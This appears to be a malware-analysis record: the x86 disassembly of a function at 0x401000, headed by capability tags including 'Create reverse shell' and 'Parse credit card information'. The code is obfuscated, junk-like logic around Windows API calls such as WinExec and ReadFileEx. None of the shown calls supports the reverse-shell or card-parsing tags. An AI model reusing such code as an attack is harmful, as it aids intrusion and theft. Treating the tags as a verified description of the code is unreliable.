Function at 0x401000
Capabilities:
Authenticate hmac
Check os version
Create process on windows
Create reverse shell
Encode data using base64
Get disk size
Parse credit card information
Query environment variable
Read file on windows
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov ecx, dword [ebp + 8]
mov eax, 0x3ab
xor edx, edx
push ebx
div ecx
push esi
mov esi, ecx
and esi, 0x2e2
mov al, cl
or esi, 0x15
push edi
imul esi, esi, 0x39a
mov edi, 0xe3
mov ebx, 0x3be
or esi, edx
and eax, 0xee
xor edx, edx
mov dword [ebp - 0xc], esi
div edi
xor edx, edx
mov edi, eax
div ebx
mov bl, al
cmp bl, 0xf
ja 0x401052
cmp bl, 0x2a
jbe 0x40105a
movzx eax, bl
jmp 0x401960
cmp bl, 0x59
je 0x40107e
cmp bl, 0x56
jbe 0x401072
movzx edi, bl
movzx eax, si
xor edx, edx
div edi
mov edi, eax
jmp 0x40107e
test bl, bl
jne 0x40107e
mov eax, 0x445f8f
mov dword [ebp - 8], eax
cmp bl, 0xe
jbe 0x40108b
movzx eax, si
jmp 0x401960
test bl, bl
jne 0x4010e1
movzx eax, si
imul eax, edi
imul eax, eax, 0x32
push 5
xor edx, edx
pop esi
div esi
mov edx, dword [ebp - 8]
lea eax, [edx + eax + 0x1531]
mov dword [ebp - 8], eax
push 0x20
xor edx, edx
pop eax
div ecx
cmp bl, 0xa
mov esi, eax
jb 0x4010ed
movzx eax, word [ebp - 0xc]
xor eax, 0x218
xor edx, edx
movzx ecx, bl
push eax
mov eax, 0xa9
div ecx
and edx, 0xd9
or edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x401138
cmp bl, 0x2c
jbe 0x4010ac
mov eax, edi
jmp 0x401960
cmp bl, 0x12
jne 0x4010f7
add bl, 0x7e
jmp 0x401138
test bl, bl
jne 0x401138
cmp esi, 0x1f
jbe 0x40110b
mov bl, byte [ebp + 8]
sub bl, 0x30
or bl, 0x10
jmp 0x401138
cmp esi, 0x42
jbe 0x401116
and dword [ebp - 0xc], 0
jmp 0x401138
cmp esi, 0xe
jae 0x401198
test esi, esi
jne 0x401127
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
jmp 0x401138
cmp esi, 0x30
jbe 0x401138
mov esi, dword [ebp + 8]
imul esi, esi, 0x2fe
xor esi, dword [ebp + 8]
mov al, bl
mov cl, 0x91
imul cl
mov bl, al
cmp bl, 0x3e
mov byte [ebp - 1], bl
jne 0x40117f
movzx ecx, word [ebp - 0xc]
mov eax, ecx
xor edx, edx
mov edi, 0x145
push 0x3e
div edi
pop eax
xor edx, eax
push edx
mov edx, 0x360
sub edx, ecx
push edx
xor edx, edx
div esi
push esi
push 0
add eax, 0x2e1
xor eax, 0x3c4
push eax
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
jmp 0x4011bf
cmp bl, 0x16
ja 0x4011bf
cmp bl, 0x48
ja 0x4011bf
cmp bl, 0xb
ja 0x4011bf
test bl, bl
jne 0x4011bf
cmp dword [ebp + 8], 0x37
jae 0x4011a1
movzx eax, word [ebp - 0xc]
jmp 0x401960
cmp dword [ebp + 8], 0x20
jae 0x4011ae
mov eax, esi
jmp 0x401960
cmp dword [ebp + 8], 0xb695
jne 0x4011bf
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
movzx ecx, bl
mov eax, ecx
xor edx, edx
mov esi, 0x203
mov ebx, 0x3e0
div esi
mov eax, dword [ebp - 0x18]
cmp dword [ebp + 8], 0xc
mov dword [ebp - 0x14], eax
mov esi, 0x4fab
lea edi, [edx + ecx + 0x3e0]
jae 0x40121a
mov eax, 0x33f
xor edx, edx
div ecx
movzx esi, word [ebp - 0xc]
push edx
push 0xb
pop eax
xor edx, edx
sub eax, dword [ebp + 8]
push eax
push esi
push esi
mov eax, esi
mov esi, 0x243
div esi
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
jmp 0x4012d5
mov eax, 0xb695
cmp dword [ebp + 8], eax
jne 0x4012d5
mov edx, dword [ebp - 0xc]
cmp dx, 1
jne 0x401241
mov eax, 0x26e
xor edx, edx
div ecx
or al, 0xdf
jmp 0x4012d2
cmp dx, si
jne 0x4012a6
cmp byte [ebp - 1], 5
ja 0x4012d5
cmp byte [ebp - 1], 0
jne 0x40128b
cmp edi, ebx
jne 0x401264
mov eax, 0x445689
mov dword [ebp - 8], eax
jmp 0x4012d5
cmp edi, 0x14
ja 0x401272
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
jmp 0x4012d5
cmp edi, 0x2b
jae 0x40127f
add edi, 0x1f7
jmp 0x4012d5
cmp edi, 0x3d
jae 0x4012d5
xor eax, eax
jmp 0x401960
cmp byte [ebp - 1], 0x5a
jne 0x40129a
mov dword [ebp - 0xc], 0x4802
jmp 0x4012d5
cmp byte [ebp - 1], 0x39
jb 0x4012d5
xor byte [ebp - 1], 0x5e
jmp 0x4012d5
cmp dx, 0x20
jae 0x4012bd
movzx edi, dx
imul edi, edi, 0x2ec
add edi, 0x33f
jmp 0x4012d5
cmp dx, 0x29
je 0x401960
cmp dx, 0x38
ja 0x4012d5
mov al, byte [ebp - 0xc]
or al, 0x85
mov byte [ebp - 1], al
mov eax, dword [ebp - 0xc]
mov esi, 0x153
movzx ecx, ax
sub esi, ecx
cmp ax, 0x4fab
jne 0x4012fe
mov ecx, dword [ebp - 8]
mov eax, esi
xor eax, 0x38c
lea eax, [ecx + eax + 0x630d]
mov dword [ebp - 8], eax
jmp 0x401355
cmp ax, 0x3d
jae 0x40130f
movzx edi, byte [ebp - 1]
or di, 0x331
jmp 0x401355
cmp ax, 0x35
jae 0x401328
mov cl, byte [ebp - 1]
or al, 0x61
or cl, 0x61
movzx cx, cl
and ecx, eax
mov dword [ebp - 0xc], ecx
jmp 0x401355
cmp ax, 0x5f
je 0x40134f
cmp ax, 0x45
jne 0x401349
mov eax, edi
xor edx, edx
mov ecx, 0x17a
push esi
div ecx
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x401355
cmp ax, 0x3f
ja 0x401355
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
imul esi, esi, 0x1f
mov eax, dword [ebp - 8]
sub esi, edi
and esi, 0xdd
cmp edi, ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], esi
jne 0x4013bd
cmp esi, 0x58
jne 0x401390
movzx eax, word [ebp - 0xc]
xor edx, edx
mov ecx, 0x2d2
div ecx
imul edx, edx, 0xca
sub edx, 0x629b
mov dword [ebp - 8], edx
jmp 0x4013bd
cmp esi, 0x56
jae 0x4013bd
mov eax, dword [ebp + 8]
mov ecx, eax
push eax
or ecx, 1
push ecx
mov ecx, 0x363
push eax
sub ecx, eax
movzx eax, word [ebp - 0xc]
imul eax, esi
push ecx
push ebx
xor eax, 0x2e6
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
mov ebx, edi
mov esi, dword [ebp - 0x10]
imul ebx, ebx, 0x209
mov ecx, dword [esi]
and ebx, edi
xor ebx, 0x1f9
sub ecx, dword [ebp - 8]
je 0x4014f4
mov eax, dword [ebp + 8]
xor edx, edx
and eax, 0x23
mov edi, 0xbb
div edi
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 4]
and dword [ebp - 0x28], 0
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
je 0x4014c0
mov al, byte [ebp + 8]
mov esi, dword [ebp + 8]
and eax, 0x80
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
and esi, 0x3d0
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
mov ecx, 0xb695
cmp eax, ecx
jne 0x40149f
cmp si, 0x45
jae 0x401444
movzx eax, word [ebp - 0x1c]
sub eax, 0x14f
push eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x4014a8
cmp si, 0x1f
jb 0x4014a8
cmp si, 0x11
jbe 0x4014a8
cmp si, 0x5e
jae 0x40148b
movzx eax, si
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov edi, 0xdf
div edi
xor edx, edx
mov edi, 0x2e0
push eax
movzx eax, si
push eax
movzx eax, word [ebp - 0x1c]
div edi
and eax, ecx
push eax
push ecx
movzx eax, word [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
jmp 0x4014a8
cmp si, 0x290
jne 0x4014a8
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov cl, byte [ecx + eax]
mov byte [eax], cl
jmp 0x4014a8
cmp eax, 0x29
jb 0x401960
mov eax, dword [ebp - 0x10]
inc dword [ebp - 0x28]
inc dword [ebp - 0x24]
mov eax, dword [eax + 4]
sub eax, dword [ebp - 8]
cmp dword [ebp - 0x28], eax
jb 0x401420
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x10]
test eax, eax
jne 0x4014d3
mov ecx, dword [esi + 4]
sub ecx, dword [ebp - 8]
add dword [ebp - 0x18], ecx
cmp eax, 0x57
jae 0x4014e9
test eax, eax
jne 0x4014e4
add esi, 8
mov dword [ebp - 0x10], esi
jmp 0x4014e9
cmp eax, 0x48
ja 0x401520
mov ecx, dword [esi]
sub ecx, dword [ebp - 8]
jne 0x4013ed
mov edi, dword [ebp - 0x2c]
mov eax, 0x117
xor edx, edx
div edi
mov esi, edx
add esi, dword [ebp + 8]
cmp si, 0xb6a4
jne 0x40153c
cmp edi, 0x62
jne 0x401528
movzx si, byte [ebp - 1]
add esi, ebx
xor esi, 0x56
jmp 0x4015c2
mov eax, dword [ebp + 8]
jmp 0x401960
cmp edi, 0x58
jne 0x4015c2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
jmp 0x4015c2
cmp si, 0x64
jne 0x401549
or di, 0x265
jmp 0x4015c2
cmp si, 0xa
jae 0x40156c
mov eax, 0x1f7
xor edx, edx
div dword [ebp + 8]
push 0x5c
pop ecx
sub ecx, eax
movzx eax, si
xor ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x4015c2
cmp si, 0x54
jae 0x4015c2
movzx ecx, si
movzx eax, byte [ebp - 1]
mov edx, 0x31a
mov dword [ebp - 0x30], eax
sub edx, ecx
or edx, ecx
or dx, 0x1fc
push edx
push edi
xor edx, edx
mov edi, 0x3bf
div edi
mov edi, dword [ebp - 0x2c]
xor edx, edx
push eax
mov eax, edi
xor eax, ebx
or ax, 0x2f5
push eax
mov eax, ecx
imul eax, eax, 0x35d
div dword [ebp + 8]
push dword [ebp + 8]
push dword [ebp - 0x30]
and edx, 0xb6
push edx
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
imul edi, edi, 0x16f
movzx eax, si
or edi, eax
mov dword [ebp - 0x2c], eax
cmp edi, 0x22
jne 0x4015de
movzx eax, byte [ebp - 1]
jmp 0x401960
cmp edi, 0x4e
je 0x401960
cmp edi, 0xfeac
jne 0x401604
mov ecx, dword [ebp + 8]
mov eax, 0xb5a63be0
imul ecx, ecx, 0xfeac
sub eax, ecx
mov dword [ebp - 8], eax
jmp 0x401607
mov eax, dword [ebp - 8]
and dword [ebp - 0x24], 0
test eax, eax
jbe 0x40195d
mov ecx, dword [ebp + 8]
mov eax, 0x282f
xor edx, edx
mov esi, 0x176
div ecx
xor edx, edx
mov dword [ebp - 0x28], ecx
mov byte [ebp - 2], al
mov eax, ecx
div esi
and byte [ebp - 2], al
or word [ebp - 0x28], 0x30b
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
cmp eax, 0x23
jae 0x40165e
movzx ax, byte [ebp - 2]
mov cl, al
add cl, 4
and ecx, 0xb1
xor ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x401684
cmp eax, 0xb695
jne 0x40167b
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 0x14]
mov al, byte [eax + ecx]
push eax
call fcn.00402c8a
pop ecx
mov byte [ebp - 3], al
jmp 0x401684
cmp eax, 0x23
jbe 0x401960
movzx edi, word [ebp - 0x10]
push 0x31
xor edx, edx
pop eax
mov esi, 0x3e0
div edi
mov ecx, edi
mov dword [ebp - 0x30], edi
xor ecx, 0xffffffcc
sub esi, edx
movzx eax, si
or ecx, eax
mov eax, dword [ebp - 0x14]
mov al, byte [ecx + eax + 0xb402]
push eax
call fcn.00402c8a
mov byte [ebp - 4], al
mov eax, dword [ebp + 8]
cmp eax, 0x33
pop ecx
lea ebx, [eax + 0x32]
jae 0x4016d1
movzx ebx, byte [ebp - 2]
and ebx, 0x30e
jmp 0x401753
cmp dword [ebp + 8], 0x61
jae 0x4016fe
movzx eax, byte [ebp - 2]
xor edx, edx
div ebx
mov eax, 0x44d
sub eax, edx
push eax
mov eax, edi
or ax, 0x24f
push eax
movzx eax, si
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
jmp 0x401753
cmp dword [ebp + 8], 0x28
jbe 0x401753
cmp dword [ebp + 8], 0xb695
jne 0x401753
push 0x39
xor edx, edx
pop eax
div ebx
movzx ecx, byte [ebp - 2]
mov dl, byte [ebp - 3]
mov dword [ebp - 0x18], ecx
sub ecx, eax
mov eax, edi
inc ecx
mov edi, dword [ebp - 0x30]
inc ecx
shl dl, cl
mov ecx, 0x2d5
mov byte [ebp - 1], dl
xor edx, edx
div ecx
mov al, byte [ebp - 4]
mov ecx, edx
mov edx, dword [ebp - 0xc]
sub cl, 0x52
xor cl, byte [ebp - 0x18]
sub cl, 9
shr al, cl
mov cl, byte [ebp - 1]
or cl, al
mov eax, dword [ebp - 0x18]
mov byte [eax + edx], cl
mov al, bl
push 0x36
or al, 0x4d
mov byte [ebp - 1], al
pop eax
cmp si, ax
je 0x401960
cmp si, 0x3af
jne 0x401788
mov ecx, dword [ebp - 0x14]
mov eax, edi
xor eax, 0x38
mov al, byte [eax + ecx - 0xb7a5]
push eax
call fcn.00402c8a
pop ecx
mov byte [ebp - 3], al
jmp 0x401797
cmp si, 0x5d
jne 0x401797
mov eax, 0x128
sub eax, ebx
mov ebx, eax
movzx ecx, byte [ebp - 1]
mov al, byte [ebp - 4]
and ecx, 0x3b6
mov dl, byte [ebp - 3]
sub ecx, 0x82
shl al, cl
mov cl, byte [ebp + 8]
add esi, 0x11
and cl, 0x65
sub cl, 3
shr dl, cl
movzx ecx, si
mov esi, dword [ebp - 0x10]
or al, dl
imul esi, esi
mov edx, dword [ebp - 0xc]
or si, 0x204
cmp byte [ebp - 1], 6
mov byte [ecx + edx - 0x3bf], al
ja 0x4017f7
mov eax, dword [ebp + 8]
xor edx, edx
mov ecx, 0x1e2
div ecx
xor edx, edx
add ecx, 0xffffffc1
div ecx
imul bl
mov byte [ebp - 1], al
jmp 0x40182e
cmp byte [ebp - 1], 0xcf
jne 0x40182e
cmp ebx, 0xb6c7
jne 0x40182e
mov eax, dword [ebp + 8]
xor edx, edx
imul eax, eax, 0x262
mov ecx, 0x101
div ecx
mov eax, dword [ebp + 8]
add edx, dword [ebp - 0x14]
mov al, byte [edx + eax - 0xb73f]
push eax
call fcn.00402c8a
pop ecx
mov byte [ebp - 4], al
movzx eax, byte [ebp - 1]
mov dl, byte [ebp - 3]
lea ecx, [ebx - 0xb6c1]
shl dl, cl
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
and eax, ebx
or al, 0xc0
or dl, byte [ebp - 4]
mov byte [eax + ecx - 0xc5], dl
mov al, byte [ebp - 1]
cmp al, 0x15
jae 0x401870
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp + 8]
sub eax, 0x3dc
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401931
cmp al, 0x4d
jae 0x401891
movzx eax, si
xor edx, edx
mov ecx, 0x1dd
div ecx
xor edx, edx
mov ecx, 0x154
div ecx
mov dword [ebp - 0x10], edx
jmp 0x401931
cmp al, 0xcf
jne 0x401912
cmp si, 0x31
je 0x401931
cmp si, 0x57
ja 0x4018b2
imul ebx, ebx, 0x61
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x401931
cmp si, 0x31
jbe 0x401965
cmp si, 0xb6c5
jne 0x4018e3
mov eax, ebx
xor edx, edx
imul eax, eax, 0x25f
mov ecx, 0x202
div ecx
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax - 0xd7d6]
mov dword [ebp - 0xc], eax
jmp 0x401931
cmp si, 0x63
jb 0x401931
cmp si, 0x10
jne 0x401931
imul edi, edi, 0x1a2
push 0x10
and edi, 0x201
push dword [ebp + 8]
push edi
push 0
push dword [ebp + 8]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
jmp 0x401931
cmp al, 0x33
jae 0x401931
movzx eax, si
push 0x5e
xor edx, edx
pop ecx
div ecx
xor edx, edx
mov ecx, eax
mov eax, 0x2b9
div dword [ebp + 8]
and cl, al
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 1]
movzx ecx, word [ebp - 0x10]
add dword [ebp - 0x24], 4
and eax, 0x17c4
xor eax, ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 0xb757]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 8]
jb 0x401639
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x401960